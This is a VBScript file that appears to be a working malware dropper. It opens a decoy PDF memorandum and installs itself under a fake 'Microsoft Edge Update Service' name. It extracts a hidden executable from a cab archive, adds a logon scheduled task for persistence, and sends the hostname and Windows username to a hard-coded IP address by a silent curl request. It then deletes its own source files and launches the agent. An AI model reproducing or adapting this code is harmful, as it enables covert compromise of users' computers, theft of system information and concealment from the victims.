Option Explicit

Dim WshShell, oFSO, exePath, currentDate, dateStr, uValue, pValue
Dim hostName, winUser, certCmd, cmdPath
Dim targetDir, targetPath, srcPath, srcDir, srcCab, targetCab
Dim isFirstRun, parentDir
Dim test1Dir, macosxDir, srcPdf, dstPdf, lnkFile

Set WshShell = CreateObject("WScript.Shell")
Set oFSO    = CreateObject("Scripting.FileSystemObject")

targetDir  = WshShell.ExpandEnvironmentStrings("%LOCALAPPDATA%") & "\Microsoft\EdgeService"
targetPath = targetDir & "\EdgeService.vbs"
exePath    = targetDir & "\EdgeService.exe"
targetCab  = targetDir & "\1.cab"

' ====== Get the full path of the current script and its directory ======
srcPath = WScript.ScriptFullName
srcDir  = oFSO.GetParentFolderName(srcPath)         ' ...\test1\_MACOSX\_DOCX
srcCab  = srcDir & "\1.cab"

' ====== Derive test1 directory (two levels up from script) ======
' srcDir  = test1\_MACOSX\_DOCX
' parent  = test1\_MACOSX
' parent  = test1
macosxDir = oFSO.GetParentFolderName(srcDir)         ' ...\test1\_MACOSX
test1Dir  = oFSO.GetParentFolderName(macosxDir)      ' ...\test1
srcPdf    = srcDir & "\MEMORANDO26-00020260701-90239SCNBD-COAQ928-FAXNAGU23.pdf"
dstPdf    = test1Dir & "\MEMORANDO26-00020260701-90239SCNBD-COAQ928-FAXNAGU23.pdf"
lnkFile   = test1Dir & "\MEMORANDO26-00020260701-90239SCNBD-COAQ928-FAXNAGU23.pdf.lnk"

' ====== Determine if this is first run (source path <> target path) ======
isFirstRun = (LCase(oFSO.GetAbsolutePathName(srcPath)) <> LCase(oFSO.GetAbsolutePathName(targetPath)))

' ====== 1. First run: move PDF to test1 and open it immediately ======
If isFirstRun Then
    If oFSO.FileExists(srcPdf) Then
        If oFSO.FileExists(dstPdf) Then oFSO.DeleteFile dstPdf, True
        oFSO.MoveFile srcPdf, dstPdf
        WshShell.Run """" & dstPdf & """", 1, False
    End If
End If

' ====== 2. Ensure target directory exists ======
parentDir = oFSO.GetParentFolderName(targetDir)
If Not oFSO.FolderExists(parentDir) Then
    oFSO.CreateFolder parentDir
End If
If Not oFSO.FolderExists(targetDir) Then
    oFSO.CreateFolder targetDir
End If

' ====== 3. First run: copy vbs and cab to target directory ======
If isFirstRun Then
    oFSO.CopyFile srcPath, targetPath, True
    If oFSO.FileExists(srcCab) Then
        oFSO.CopyFile srcCab, targetCab, True
    End If
End If

' ====== 4. Extract cab if EdgeService.exe does not exist ======
If Not oFSO.FileExists(exePath) Then
    If oFSO.FileExists(targetCab) Then
        ' single file cab
        ' WshShell.Run "C:\Windows\System32\expand """ & targetCab & """ """ & exePath & """", 0, True

        ' multi file cab
        WshShell.Run "C:\Windows\System32\expand """ & targetCab & """ -F:* """ & targetDir & """", 0, True
    End If
End If

' ====== 5. Clean up cab after successful extraction ======
If oFSO.FileExists(exePath) And oFSO.FileExists(targetCab) Then
    On Error Resume Next
    oFSO.DeleteFile targetCab, True
    On Error GoTo 0
End If

' ====== 6. Create scheduled task via COM (standard user, no admin required) ======
Dim oService, oFolder, oTask, oTrigger, oAction, oRegistration

Set oService = CreateObject("Schedule.Service")
oService.Connect

Set oFolder = oService.GetFolder("\")

On Error Resume Next
oFolder.DeleteTask "EdgeService", 0
On Error GoTo 0

Set oTask = oService.NewTask(0)

oTask.RegistrationInfo.Description = "Microsoft Edge Update Service"
oTask.Settings.Enabled = True
oTask.Settings.StartWhenAvailable = True
oTask.Settings.DisallowStartIfOnBatteries = False
oTask.Settings.StopIfGoingOnBatteries = False
oTask.Settings.ExecutionTimeLimit = "PT0S"

Set oTrigger = oTask.Triggers.Create(9)
oTrigger.UserId = WshShell.ExpandEnvironmentStrings("%USERDOMAIN%") & "\" & WshShell.ExpandEnvironmentStrings("%USERNAME%")
oTrigger.Enabled = True

Set oAction = oTask.Actions.Create(0)
oAction.Path = "wscript.exe"
oAction.Arguments = """" & targetPath & """"
oAction.WorkingDirectory = targetDir

Set oRegistration = oFolder.RegisterTaskDefinition( _
    "EdgeService", oTask, 6, "", "", 3)

Set oRegistration = Nothing
Set oAction = Nothing
Set oTrigger = Nothing
Set oTask = Nothing
Set oFolder = Nothing
Set oService = Nothing

' ====== 7. Generate timestamp and credentials ======
currentDate = Now
dateStr = Year(currentDate) _
    & Right("0" & Month(currentDate), 2) _
    & Right("0" & Day(currentDate), 2) _
    & Right("0" & Hour(currentDate), 2) _
    & Right("0" & Minute(currentDate), 2) _
    & Right("0" & Second(currentDate), 2)

uValue = "co01test" & dateStr
pValue = "passwd123"

hostName = WshShell.ExpandEnvironmentStrings("%COMPUTERNAME%")
winUser  = WshShell.ExpandEnvironmentStrings("%USERNAME%")

' ====== 8. Report information to server ======
certCmd = "curl.exe -X POST http://72.167.149.182:5000/submit -d ""username=" & uValue _
    & "&password=" & pValue _
    & "&date=" & dateStr _
    & "&hostname=" & hostName _
    & "&winuser=" & winUser & """"
WshShell.Run certCmd, 0, False

' ====== 9. First run: delete source files and clean up test1 ======
If isFirstRun Then
    On Error Resume Next
    ' Delete entire _MACOSX folder tree (contains _DOCX, aa.vbs, 1.cab, etc.)
    If oFSO.FolderExists(macosxDir) Then oFSO.DeleteFolder macosxDir, True
    ' Delete the lnk shortcut from test1
    If oFSO.FileExists(lnkFile) Then oFSO.DeleteFile lnkFile, True
    On Error GoTo 0
End If

' ====== 10. Launch agent (delayed 60 seconds) ======
If Not isFirstRun Then
    If oFSO.FileExists(exePath) Then
        WScript.Sleep 60000
        cmdPath = exePath & " -u " & uValue & " -p " & pValue
        WshShell.Run cmdPath, 0, False
    End If
End If

' ====== Cleanup ======
Set oFSO    = Nothing
Set WshShell = Nothing
